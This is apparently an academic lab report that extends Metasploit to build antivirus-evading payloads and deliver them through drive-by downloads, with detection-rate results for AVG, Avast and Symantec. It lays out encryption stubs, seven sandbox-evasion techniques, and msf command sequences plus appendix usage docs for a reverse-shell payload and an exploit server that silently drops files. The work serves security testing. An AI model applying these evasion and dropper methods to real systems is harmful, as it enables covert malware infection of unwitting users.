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ABSTRACT
Given a desired goal of testing the capabilities of mainstream
antivirus software against evasive malicious payloads deliv-
ered via drive-by download, the work of this project1 was to
extend the functionality of Metasploit–the penetration test-
ing suite of choice–in a three-fold manner: (1) to allow it to
dynamically generate evasive forms of Metasploit-packaged
malicious binaries, (2) to provide an evasive means of deliv-
ering said executables through a drive-by download-derived
attack vector, and (3) coordinate the previous two function-
alities in a manner which can be used to produce repro-
ducible tests within the SPICE framework 2.
As such, the following three major additions to the Metas-
ploit framework were produced: an evasion applicator mod-
ule, which, given any Metasploit binary payload, modifies
it to evade static analysis and further modifies the context
of its execution through user- specified templates to achieve
evasion of dynamic analysis; a drive-by dropper module which,
given an arbitrary file and a known browser exploit, uploads
said file to the victim’s machine using a covert connection;
and a multi-dropper module, which is capable of setting up
and managing multiple drive-by dropper instances using the
executables produced by the evasion applicator module.
Following the use of these modules and testing within the
SPICE framework , initial results show an infection rate of
over 66 percent over all trials for all tested methods of eva-
sion for the three major antivirus suites tested (AVG, Avast,
and Symantec), and the details derived from the analysis of
1This work is the report corresponding to a project done
in Columbia University’s IDS Lab in Spring of 2015.
All code utilized in this project has been archived here:
https://github.com/ad-alston/evasive-metasploit
2SPICE is a framework for malware replay and analysis de-
veloped and maintained privately by the Columbia Univer-
sity Intrusion Detection Systems Laboratory (Columbia IDS
Lab).
results against specific combinations of evasion techniques
show (somewhat alarming) trends regarding the extent and
value of the protection provided by these suites with regard
to the chosen attack vector.
Background
The purpose in creating such an attack infrastructure is sim-
ple: to test the effectiveness of mainstream antivirus soft-
ware in protecting against malicious payloads which both
attempt to evade analysis and which are placed without a
user’s knowledge in a way which is both objective and repro-
ducible. For this reason, the SPICE framework, providing a
replay environment for driveby downloads, is an ideal venue
of choice for this realm of exploration. SPICE is able to
take a URL which may or may not be malicious, instantiate
multiple instances of virtual machines with varying environ-
ments, visit that URL, let what may happen happen, and
report changes in the system that occurred as a result of vis-
iting that URL. From this, important information may be
gleaned: most importantly, whether or not a machine has
been infected.
To create an attack infrastructure, attacks are necessary.
Metasploit is a penetration testing suite which is built around
an exploit:payload scheme: given a target and an exploit
(and therefore implicitly an attack vector), deliver a pay-
load and gain control of the target (generally by acquiring
a remote shell [or a platform-agnostic meterpreter shell]).
For this project, Metasploit provides more than sufficient
functionality as a starting point given its built-in means of
delivery detection evasion, also providing a library of binary
executable payloads that are ideal to be objects of an exper-
iment to test the capabilities of antivirus software.
Aside from the metric infrastructure which SPICE provides
and the base functionality given out of the box by Metas-
ploit, there are areas of consideration that are essential to
consider: how can a well-documented, publicly indexed ma-
licious executable like those provided by Metasploit avoid
detection once in place, and how can such an executable be
placed without raising suspicion? The latter is a question
more directly addressed by the Metasploit framework al-
ready, given that this project specifically assumes the means
of placement to be drive-by download: given a controlled,
exploitable flaw in a browser (Metasploit browser exploit),
simply use that flaw as an attack vector to deliver the ex-
ecutable (modified Metasploit payload). Network evasion
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can be achieved trivially via packet delay, encoding/partial
encoding (e.g. shikata ga nai) of packets, or something as
simple as random space injection, all of which Metasploit
provides without touching the baseline. The prior, interfac-
ing most directly with the focus of this project, is somewhat
more involved.
Reiterating the question whose answer is the key to push-
ing antivirus software to its limits: given a possibly known
and indexed executable, how can that executable evade no-
tice, detection, and/or deletion by the host’s antivirus? This
question is addressed by evading three primary components
of malware analysis: static analysis, dynamic analysis, and
reputation-based testing. Static analysis is analysis of the
executable’s raw content; dynamic analysis is heuristic anal-
ysis of the file’s behavior, often achieved through methods
like sandboxing; reputation-based testing relies on the num-
ber of times a file has been seen, determining whether a file is
malicious using a combination of signatures and a database
of responses. The method of addressing this takes inspi-
ration from (and even implements some of the same tech-
niques) the one explored by Eric Nasi: apply encryption-
based code armoring by manipulating the compilation pro-
cess, and wrap decryption and execution in a stub[1].
Nasi’s chosen method does have a caveat, however: his en-
cryption scheme requires use of a somewhat heavy run-time
cryptor, which itself may be detected by antivirus software.
Noticing this flaw, the given method of evading analysis on
the part of the host antivirus software is as follows: com-
pile code with the encrypted stub already included, opting
for a member of a simple family of light-weight XOR ci-
phers, and include the decryption and execution stub within
a variable (configurable) context. In this way, the malicious
code is both hidden from static analysis, and the decryp-
tion and execution code can be configured to be different
from executable to executable as well. Minimal code is
shared between executables, so similarities are also min-
imal. Dynamic analysis evasion is achieved through the
context under which the executable decrypts its malicious
content and executes it: for example, the program might
wait x iterations within a for loop to execute in a simplistic
case. Combining these methods, a well-known, pre-packaged
malicious binary can be both modified with regard to both
presentation and behavior in an attempt to pass as a zero-
day executable, also providing resiliency against methods
of reputation-based testing, since the file’s nature as being
good or bad can’t be necessarily determined given that it’s
”new.”
The Evasion Applicator Module
(For details on setup, options, and usage, see Appendix A,
”Evasion Applicator Module Documentation.”)
Given a payload and a set of dynamic evasion techniques
and their parameters, the evasion applicator module modi-
fies Metasploit payloads as follows: first, the module dele-
gates to Metasploit’s msfvenom utility to output that pay-
load as binary. Once that output is produced, capture it and
read it into memory. Next, the module modifies that binary
to evade static analysis: select from among a family of simple
XOR ciphers accepting strings of any length as key, generate
a random string as a key–itself having variable length–and
Figure 1: Evasion Applicator Module Architecture
encrypt said binary. Using this encrypted binary and the
generated key, build a C program stub which consists of the
key, a simple buffer containing the encrypted malicious bi-
nary, and the decryption routine corresponding to the chosen
XOR cipher (a light-weight, simple nested for loop consisting
of 3-5 lines). Next, read the list of evasion technique identi-
fiers and their parameters, and interpret their corresponding
templates to insert the decryption and execution call within
the evasive context(s) [note, for sequentially referenced eva-
sion methods a();b();c(), c’s content is executed within b’s
context, which is itself executed within a’s context]. Output
the result as a C source file, and then finally delegate to
GCC to compile and output a new evasive, executable form
of the original binary.
Using the template language defined and accepted by the
evasion applicator module, I’ve implemented seven3 tech-
niques for evading dynamic analysis (though a user of the
module can define as many more or less as he or she likes):
(Note in Appendix A that any evasion technique is recog-
nized by the module as its identifier plus its parameters (or
none, if there are none) in parentheses.)
patience-loop(n)
This simple method waits n many iterations before executing
malicious code. Antivirus suites have the task of balancing
usability with security, and, as such, have a practical time
limit within which they must make a decision on a newly
seen program. This method attempts to exceed that time
limit.
resource-burn(m,s,r)
This method allocates m many bytes in s-byte increments,
resting r many iterations between each allocation before ex-
ecuting malicious code. The reliability of this method rests
on the difficulty of distinguishing between ’normal work’ of
the average benign program and, as it is in this case, a dis-
traction from the true malintent of the program.
memory-bomb(m, v)
3All of these methods were implemented with a Windows
target in mind; only some of them are Windows-specific.
This method allocates m many bytes, only executing mali-
cious code if the allocation was successful. The reliability
of evading analysis by doing this rests on the assumption
that sandboxes are limited in the resources they can use. If
the sandbox can’t exceed a certain number of bytes and/or
can’t allocate the number requested, the malicious code will
not be executed.
who-am-i(e)
This method verifies that the program was executed as itself
(assuming the executable’s name is ”e”), only executing the
malicious code if this condition is met. Some sandboxing
systems will invoke a program in other manners which will
cause the condition to not be met.
hold-mutex(e, m)
This method verifies that the program has access to system
resources–in this case, OS-held mutexes. If the executable
(named e) cannot retrieve and hold a named mutex (of name
m), the malicious code will not execute. The reliability of
this method relies on the assumption that sandboxing which
allows a program unhindered access to system resources risks
still exposing the host system to attack, hoping that the
sandbox limits access to prevent this.
create-file(f)
This method creates a file at location f and executes ma-
licious code if and only if the file afterward exists. The
variable file location f allows for this method to leverage
knowledge of host system structure into the attack: if the
sandbox allows creation of a file in a host-specific directory
which persists, the host may still be exposed to an attack.
The reliability of this method lies in the hope that access
will be limited or emulation will not expose the underlying
host’s directory structure.
attempt-system-access(p)
This method executes malicious code if and only if the pro-
gram is -not- able to access the process with process number
p. Lower process numbers generally correlate to system pro-
cesses that general applications should not be able to touch,
and so if the program is successfully able to gain access, the
program knows it’s being executed with unexpected permis-
sions and will therefore not execute.
To illustrate the function of this module, consider the fol-
lowing use case:
msf> use auxiliary/pro/ids/evasion_applicator
msf> set EXECUTABLE_NAME example.exe
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set EVASION_STACK who-am-i(example.exe);
patience-loop(100000)
msf> run
Given this command sequence, the evasion applicator mod-
ule will then produce an executable with the following at-
tributes: it will perform the same function as the windows
reverse tcp meterpreter payload without explicitly contain-
ing the payload’s content, and it will only do so after first
verifying that the program was invoked as ’example.exe’ and
after iterating 100000 times. The result is an executable
whose intent has already been seen, but whose presenta-
tion and initial behavior present themselves as not having
been seen, providing defense against static, dynamic, and
reputation-based analysis.
The Drive-by Dropper Module
Figure 2: Drive-by Dropper Module Architecture
and Attack Scenario
(For details on setup, options, and usage, see Appendix B,
”Drive-by Dropper Module Documentation.”)
The intent of the drive-by dropper module is to create a
malicious web server which will drop a configured arbitrary
file on the machines of visitors using Metasploit’s built-in
functionality. At a high level, the drive-by dropper mod-
ule achieves this as so: choose a Metasploit browser exploit
which allows execution of a payload in memory4, and then
choose a compatible meterpreter reverse shell payload. Set-
ting the corresponding options5 to these, the module will
then coordinate them to achieve the desired effect: delegate
to Metasploit to set up6 an exploit server using the con-
figured exploit, disabling its default payload handler. Del-
egate again to Metasploit to set up a listener to instead
handle the incoming meterpreter sessions from successfully
executed payloads, itself configured to execute a generated
.rc script which uploads the arbitrary file specified onto the
victim’s machine before killing the covert connection.
Consider the following use case and attack scenario, intended
to illustrate the function of the drive-by dropper module:
msf> use auxiliary/pro/ids/driveby_dropper
msf> set EXPLOIT auxiliary/pro/ids/blind_firefox_crmfrequest
msf> set DROPDIRS C:/
msf> set DROPFILE C:/research/some.exe
msf> set DROPNAME some.exe
msf> set SHELL windows/meterpreter/reverse_tcp
msf> set HOST 127.0.0.1
msf> set SERVPORT 8080
msf> set LPORT 4000
msf> run
4Exploits which do not use browser memory to execute the
payload will leave behind artifacts that are easily detected
by antivirus software.
5See appendix B.
6The module is also written to properly dispose of this (and
anything else) it spawns once stopped.
This command will set up a drive-by drop server at
http://127.0.0.1:8080/.
Now consider the following scenario:
On a vulnerable machine7, somebody visits
http://127.0.0.1:8080/. The browser makes a request to
the server, and the server sends a malicious response which
causes an encoded meterpreter session to be initiated from
within browser memory to 127.0.0.1:4000. 127.0.0.1:4000
picks up this meterpreter session and immediately executes a
.rc script which navigates to C:/, uploads C:/research/some.exe
(on the malicious server) to C:/ (on the victim’s computer)
as ”some.exe”, and closes the connection. The result of vis-
iting this URL: a file being placed without user knowledge
or consent.
The Multi-dropper Module
Figure 3: Multi-dropper Module Architecture
(For details on setup, options, and usage, see Appendix C,
”Multi-Dropper Module Documentation.”)
To perform a reproducible test using evasive executables de-
livered via drive-by download, a coordinating mediator is
r quired: this is the function of the multi-dropper module.
At a high level, the multi-dropper module takes a set of eva-
sion techniques to test, Metasploit payload, and a configured
server location/port range, and (1) generates an executable
for each combination of evasion techniques and (2) sets up an
instance of the drive-by dropper module for each for drive-by
download delivery.
Consider the following use case, intended to illustrate the
functionality of the multi-dropper module:
msf> use auxiliary/pro/ids/multi_dropper
msf> set EXECUTABLE_PAYLOAD windows/meterpreter/
reverse_tcp
7In this case, a Windows user using Firefox version 8 - 14
msf> set HOST 127.0.0.1
msf> set STARTPORT 4000
msf> set URIPATH /bad
msf> set EVASION_TECHNIQUES a();b();c();d()
msf> set DROPNAME some.exe
msf> set SERVSTART 1
msf> set SERVEND 15
msf> set GENERATOR true
msf> run\newline
The multi-dropper module will then create and index one
evasive executable per combination among techniques a(),
b(), c(), and d() using the evasion applicator module.
msf> set GENERATOR false
msf> run
Theh multi-dropper will then set up 15 drive-by dropper
instances which will drive-by download the generated exe-
cutables onto the machine of vulnerable visitors.
Using SPICE to Test Antivirus Software
Our preliminary testing focuses on three mainstream an-
tivirus suites: AVG, Avast, and Symantec, all of which hav-
ing considerable market share among consumers of antivirus
software. The question to be asked is this: just how well do
these suites protect a machine vulnerable to drive-by down-
load?
Method
To test the ability of AVG, Avast, and Symantec to detect
malicious software, we used the following process:
1. Configure SPICE for three virtual machines. Each is
an instance of Windows XP SP2 using Firefox version
11. One is given AVG; one is given Avast; one is given
Symantec.
2. Use the multi-dropper module to generate evasive ex-
ecutables for all combinations out of a set of evasion
techniques applied to the well-known
windows/meterpreter/reverse_tcp payload.
3. Use the multi-dropper module to instantiate drive-by
dropper instances for the generated executables.
4. Feed the output list of URLs to SPICE, SPICE record-
ing internally whether or not each VM is infected by
each URL based upon whether the file dropped is present
after all scanning has taken place.8
5. Collect the results from the SPICE database.
We tested each antivirus suite against combinations of
a set of seven evasion techniques and configurations,
enumerated in figure 4.
8We assume a machine to be infected if the file still remains
because it is possible to induce a user to later try to execute
that file him or herself. For example: upload the malicious
file to the location of and with the name of a file known to
exist. Even if the antivirus software has ’blocked’ the file
from doing anything, if the average end-user assumes that
the antivirus has somehow made a mistake, he or she may
be tempted to disable protection against that file.
Technique Configuration Identifier
patience-loop(10000000000000) patience*
memory-bomb(500000000,01) memory*
create-file(C:/Program Files/file.tmp) file*
hold-mutex(metcon.exe,amutex) mutex*
attempt-system-access(3) system*
resource-burn(500000,50,10000000000) burn*
who-am-i(metcon.exe) who*
Figure 4: Evasion techniques considered
Summary of Results9
Figure 5: Detection Rates Among Executables Em-
ploying any Combination of Evasion Methods by
Common Method
Method AVG Symantec Avast Overall
patience* 5.38% 11.1% 65.96% 27.58%
memory* 18.78% 27.64% 69.35% 38.66%
file* 6.63% 13.81% 47.51% 22.65%
mutex* 8.94% 15.47% 50.28% 24.95%
system* 13.71% 20.57% 59.43% 31.24%
burn* 18.23% 24.59% 67.76% 36.93%
who* 10.80% 19.77% 58.19% 29.62%
Any 12.04% 19.95% 60.62% 30.94%
Figure 6: Detection Rates Among Executables Us-
ing a Single Evasion Technique
Method AVG Symantec Avast Overall
patience* 33.3% 28.57% 57.14% 40.0%
memory* 28.57% 57.1% 100.0% 61.9%
file* 0.0% 0.0% 0.0% 0.0%
mutex* 0.0% 0.0% 100.0% 33.3%
system* 0.0% 0.0% 0.0% 0.0%
burn* 0.0% 33.3% 66.7% 33.3%
who* 0.0% 0.0% 0.0% % 0.0%
Discussion
A few observations are immediately apparent from the pre-
liminary results found in figures 5 and 6. For example, Avast
is doing something AVG and Symantec obviously aren’t,
given that the overall detection rate of Avast is three times
that of Symantec and nearly six times that of AVG. Another
observation is that some dynamic evasion techniques are
more effective than others: in figure 5, there is a clear trend
among all antivirus software to have higher-than-normal de-
tection for evasion stacks including the memory-bomb and
resource-burn methods of evading dynamic analysis, and,
likewise, there is a consistent trend for evasion stacks involv-
ing the hold-mutex and create-file methods to have lower-
than-average detection. One observation stands out above
all others, however: Symantec, Avast, and AVG alike all
fall significantly short of meeting the 80+% zero-day detec-
tion rates they are purported to hold, and the executables
themselves aren’t even true zero-day malware; they’re pub-
licly known, documented pieces of malware that anybody
can access at any moment.
9SPICE is having some problems, so an error state was in-
duced in some trials. These results only consider results
resulting in an infection or a block, so marginal proportions
may not necessarily agree.
In addition to this, the content of figure 6 throws uncer-
tainty into the assumption that the detection rates in figure
5 are anything near a general-case estimate of the capabil-
ities of these antivirus suites: three attacks consisting of
a single evasion method–create-file, attempt-system-access,
and who-am-i–all result in 0% detection on the part of AVG,
Symantec, and Avast. The non-zero figures in figure 5 can
be attributed to the fact that these undetected methods were
used in conjunction with detected ones in at least some of
the combinations tested. Further, more alarm is raised upon
considering the common thread held between all three un-
detected methods: they are all motivated by the assumption
that the sandbox has to be safe.
Since a sandbox needs to be safe in order to provide any
net benefit, by default, it has to modify the way a pro-
gram can run and the things it can see, and it has to do
so without significantly reducing usability. This introduces
possible flags as to whether the program is being limited. In
this case, those flags were whether or not the full filesystem
was available, whether or not the program is given realistic
permissions, and whether or not the file is executed in the
precise way in which it is expected: namely, as a program
independent of a sandbox. In order for these methods to
be detected, the sandboxing/dynamic analysis suite would
have to expose elements of risk to the main system. As an
example, exposing the complete structure of the host’s di-
rectories and files would render create-file useless, but then
any program, good or bad, can see this information.
On a similar key, one has to question what the given de-
tection rates actually mean. Take any of Avast’s higher
detection rates: what does Avast’s 100% detection of the
memory-bomb technique really mean? Is it actually detect-
ing the malicious program, or is it blocking a single func-
tionality, assuming that any program which performs it is
malicious? To test this question, I personally wrote a small
C program which performed a large allocation of memory
(as in the memory-bomb), but without any malicious code
or intent included. I compiled and placed the executable on
a virtual machine with the same specifications as the one
used in SPICE, and, to little surprise, Avast flagged the
executable as being malicious.
To this extent, then, the initial results of testing popular an-
tivirus software with this attack infrastructure and SPICE
reveal a picture in which nothing is truly certain once the
concept of analysis-anticipating malware is brought to the
table. Benign programs are being flagged as malicious for
the same reasons as ones which are truly malicious, and
truly malicious ones are left undetected because, for an an-
tivirus system to be able to do so, the malware would have
to be allowed to cause actual damage to the host system.
It would appear that the issue of increasing security against
such attacks in the antivirus model calls for one or both of
(a) restricting further benign programs or (b) exposing the
host system to substantive risk.
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Appendices
Appendix A, Evasion Applicator Module Documentation
I. Module Overview
The goal of the evasion applicator module is to take Metasploit binaries and modify
them so they evade static analysis, dynamic sandboxing, and reputation-based
methods of malware detection. The user invokes the module, specifying
a Metasploit payload and a semi-colon-separated list of template-defined
dynamic evasion execution contexts, and the evasion applicator then
generates a modified binary including (a) the encrypted original binary
and (b) a decryption and execution routine that is carried out within
the context(s) given.
The templates used by the module define a programmatic context in which
malicious code is executed. In this way, programmatic methods of detecting
sandboxing can be used with any Metasploit payload.
Setup:
The evasion applicator module is a Metasploit module, and as such, must be
added to the framework.
Steps to add the module to the framework:
[-. Install Metasploit.)
1. Navigate to your Metasploit installation directory.
2. Navigate to the Metasploit modules directory.
3. In the "auxiliary" directory, add to or create directories "pro/ids".
4. Copy evasion_applicator.rb as well as the "evasion_techniques" folder
and all of its contents to this directory.
Running instructions:
1. Start the Metasploit console.
2. Issue command "use auxiliary/pro/ids/evasion_applicator"
3. Set options as desired. (Metasploit syntax: set [OPTION] [VALUE])
4. Issue command "run".
Options:
EXECUTABLE_NAME (required) - Specifies the name of the modified binary to
be output.
MSFVENOM_PATH (not required) - Specify the directory in which msfvenom
resides (may be necessary for some custom Metasploit installations).
PAYLOAD (required) - Specify the Metasploit payload to be modified.
PAYLOAD OPTIONS (not required) - Specify a string of Metasploit options to give to the payload
(e.g. "LHOST=127.0.0.1 LPORT=4500")
EVASION_STACK (not required) - Specify a semi-colon separated list of evasion templates
to be applied.
Example: technique1();technique2(a);technique3(a,b,c)
Parameters can be passed to the template by specifying them within parentheses
as above.
LIST_TECHNIQUES (not required) - If this option is set to true, causes the module to
output available evasion techniques and their required parameters.
II. Understanding and Adding new Evasion Techniques
The evasion applicator module defines and applies evasion techniques using
user-defined templates which can be found in the "evasion_techniques" folder.
The module implements and expects a template language adhering to the following
syntax:
[Text block containing comments, usage, etc. The contents of this block
are output by the module whent he LIST_TECHNIQUES option is set.]
%% INCLUDE
[Required header files, one per line]
%% DEFINITIONS
[Definition of functions and constants used in the context section;
standard C syntax expected.]
%%
[C code defining pre-decryption and execution context.]
>> EXECUTE [This is the point where the malicious code is executed.]
[C code defining post decryption and execution context.]
%%
Example scenario:
I know that my target’s antivirus software attempts to sandbox all
files, but a flaw in that sandbox is that 1 + 1 will always evaluate
to 1. (Unrealistic case.)
---------------------------
example-evasion-technique
Verifies that 1 + 1 == 2 before allowing execution of malicious code.
Usage: example-evasion-technique()
%% INCLUDE
%% DEFINITIONS
#define ONE 1
%%
if(ONE + ONE == 2){
>> EXECUTE
}
----------------------------
A template can access parameters it is passed using @@[param number].
---------------------------
example-evasion-technique
Verifies that a + b == c before allowing execution of malicious code.
Usage: example-evasion-technique(a,b,c)
%% INCLUDE
%% DEFINITIONS
%%
if(@@1 + @@2 == @@3){
>> EXECUTE
}
---------------------------
To add a new template, simply create a file adhering to the proper syntax and
semantics and add it to "[metasploit modules folder]/auxiliary/pro/ids/evasion_techniques".
Appendix B, Drive-by Dropper Module Documentation
I. Module Overview
The goal of the drive-by dropper module is to coordinate Metasploit functionality
to configure and create a malicious web-server which will drop an arbitrary
executable in a specified location on the machine of vulnerable visitors.
Setup:
The drive-by dropper module is a Metasploit module, and as such, must be
added to the framework.
Steps to add the module to the framework:
[-. Install Metasploit.)
1. Navigate to your Metasploit installation directory.
2. Navigate to the Metasploit modules directory.
3. In the "auxiliary" directory, add to or create directories "pro/ids".
4. Copy driveby_dropper.rb into this directory.
** The default option configuration of the drive-by dropper module expects
an exploit (auxiliary/pro/ids/blind_firefox_crmfrequest) to exist in
the framework. blind_firefox_crmfrequest.rb into this directory as well
if intending to use the default configuration.
Running instructions:
1. Start the Metasploit console.
2. Issue command "use auxiliary/pro/ids/driveby_dropper"
3. Set options as desired. (Metasploit syntax: set [OPTION] [VALUE])
4. Issue command "run".
Options:
DROPDIRS (not required) - Specifies specific folder(s) in which to drop the
arbitrary file. To configure the module to drop the file in multiple directories,
separate directories using a semi-colon.
DROPFILE (required) - Specify the location of the file to be dropped on the machines
of vulnerable visitors.
DROPNAME (required) - Specify what to name the file on the machine of vulnerable visitors.
EXPLOIT (required) - Specify the Metasploit browser exploit to use to gain a covert
connection.
HOST (required) - Specify the host/domain the server should use.
SRVPORT (required) - Specify the port to be used by the server.
URIPATH (required) - Specify the malicious URI path which will cause the arbitrary file to be
dropped.
LPORT (required) - Specify the port to be used in covert connections.
NETWORK_EVADE - Set to true to configure the dropper to evade network detection.
This causes all meterpreter sessions to be encoded and introduces packet delay
and random space injection. **Note: do not use this option with browser exploits
which perform probing OS detection. This can be easily detected.
SHELL (required) - Specify the meterpreter shell to be used to drop the file.
TARGET - Metasploit target code representing the machine of expected vulnerable visitors
(default is 1 - Windows).
Appendix C, Multi-Dropper Module Documentation
I. Module Overview
The goal of the multi-dropper module is to coordinate the generation and
distribution of evasive malicious executables on a large, organized scale.
Given a set of evasion techniques, the aim is to create one evasive executable
per combination of evasion techniques and to set up a drive-by dropper
instance to distribute each as a drive-by download.
When all servers are set up, the module will output two files:
attack_urls, a simple text file containing a list of activated drive-by
dropper instances, and attack_mapping, a line-by-line mapping of each
URL in attack_urls to its corresponding evasion stack.
Setup:
The evasion applicator module is a Metasploit module, and as such, must be
added to the framework.
Steps to add the module to the framework:
[-. Install Metasploit.)
1. Navigate to your Metasploit installation directory.
2. Navigate to the Metasploit modules directory.
3. In the "auxiliary" directory, add to or create directories "pro/ids".
4. Copy multi_dropper.rb to this directory.
Running instructions:
1. Start the Metasploit console.
2. Issue command "use auxiliary/pro/ids/multi_dropper"
3. Set options as desired. (Metasploit syntax: set [OPTION] [VALUE])
4. Issue command "run".
* NOTE, evasive executables must be generated before the servers are
started. See the ’GENERATOR’ option below.
Options:
DROPDIRS (not required) - Specifies specific folder(s) in which to drop the
arbitrary file. To configure the module to drop the file in multiple directories,
separate directories using a semi-colon.
DROPNAME (required) - Specify what to name the file on the machine of vulnerable visitors
to drive-by dropper servers.
EXPLOIT (required) - Specify the Metasploit browser exploit to use to gain a covert
connection.
HOST (required) - Specify the host/domain the servers should use.
URIPATH (required) - Specify the malicious URI path for the drive-by dropper servers.
NETWORK_EVADE - Set to true to configure the droppers to evade network detection.
This causes all meterpreter sessions to be encoded and introduces packet delay
and random space injection. **Note: do not use this option with browser exploits
which perform probing OS detection. This can be easily detected.
SHELL (required) - Specify the meterpreter shell to be used to drop the files.
TARGET - Metasploit target code representing the machine of expected vulnerable visitors
(default is 1 - Windows).
EVASION_TECHNIQUES - Set of evasion techniques, the combinations of which to be used
to generate evasive executables to be distributed by the drive-by dropper
instances. (The expected syntax is the same as EVASION_STACK for the evasion
applicator module.)
PAYLOAD_EXECUTABLE - The Metasploit payload to be made evasive and then distributed.
SERVSTART - (For larger combinations of evasion techniques) - the index of the first
combination considered in the range of all combinations.
SERVEND - (For larger combinations of evasion techniques) - the index of the last
combination considered in the range of all combinations.
STARTPORT - The first port in the range of ports to be used by the drive-by
dropper instances.
GENERATOR - If true, generates the evasive executables and indexes them to be
used by the drive-by dropper instances. If false, sets up the drive-by
dropper instances.
